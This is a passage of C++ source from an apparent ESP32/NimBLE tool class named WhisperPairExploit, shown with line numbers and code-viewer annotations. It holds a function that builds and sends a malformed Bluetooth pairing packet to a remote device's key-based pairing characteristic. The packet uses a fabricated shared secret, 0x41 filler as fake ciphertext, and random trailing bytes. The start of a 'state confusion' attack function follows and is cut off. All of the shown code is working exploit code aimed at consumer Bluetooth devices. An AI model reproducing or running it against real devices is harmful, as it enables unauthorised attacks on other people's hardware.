| 1002 | } |
| 1003 | |
| 1004 | bool WhisperPairExploit::sendProtocolAttack( |
| 1005 | NimBLERemoteCharacteristic *kbpChar, const uint8_t *devicePubKey |
| 1006 | ) { |
| 1007 | if (!kbpChar) return false; |
| 1008 | |
| 1009 | uint8_t private_key[32], ephemeral_pub[65]; |
| 1010 | if (!crypto.generateEphemeralKeyPair(ephemeral_pub, private_key)) return false; |
| 1011 | |
| 1012 | uint8_t shared_secret[32]; |
| 1013 | if (!crypto.ecdhComputeSharedSecret(private_key, devicePubKey, shared_secret)) { |
| 1014 | crypto.generatePlausibleSharedSecret(devicePubKey, shared_secret); |
| 1015 | } |
| 1016 | |
| 1017 | uint8_t nonce[16]; |
| 1018 | crypto.generateValidNonce(nonce); |
| 1019 | |
| 1020 | uint8_t exploit_packet[256]; |
| 1021 | exploit_packet[0] = 0x02; |
| 1022 | exploit_packet[1] = 0x00; |
| 1023 | memcpy(&exploit_packet[2], nonce, 16); |
| 1024 | |
| 1025 | uint8_t fake_encrypted[200]; |
| 1026 | memset(fake_encrypted, 0x41, sizeof(fake_encrypted)); |
| 1027 | fake_encrypted[0] = 0x80; |
| 1028 | fake_encrypted[1] = 0x00; |
| 1029 | fake_encrypted[2] = 0x00; |
| 1030 | fake_encrypted[3] = 0x00; |
| 1031 | |
| 1032 | memcpy(&exploit_packet[18], fake_encrypted, 200); |
| 1033 | exploit_packet[218] = 0x00; |
| 1034 | exploit_packet[219] = 0x00; |
| 1035 | exploit_packet[220] = 0x00; |
| 1036 | exploit_packet[221] = 0x00; |
| 1037 | |
| 1038 | for (int i = 0; i < 8; i++) exploit_packet[222 + i] = esp_random() & 0xFF; |
| 1039 | |
| 1040 | bool sent = kbpChar->writeValue(exploit_packet, 230, true); |
| 1041 | if (sent) delay(400); |
| 1042 | return sent; |
| 1043 | } |
| 1044 | |
| 1045 | bool WhisperPairExploit::sendStateConfusionAttack(NimBLERemoteCharacteristic *kbpChar) { |
| 1046 | if (!kbpChar) return false; |
nothing calls this directly
no test coverage detected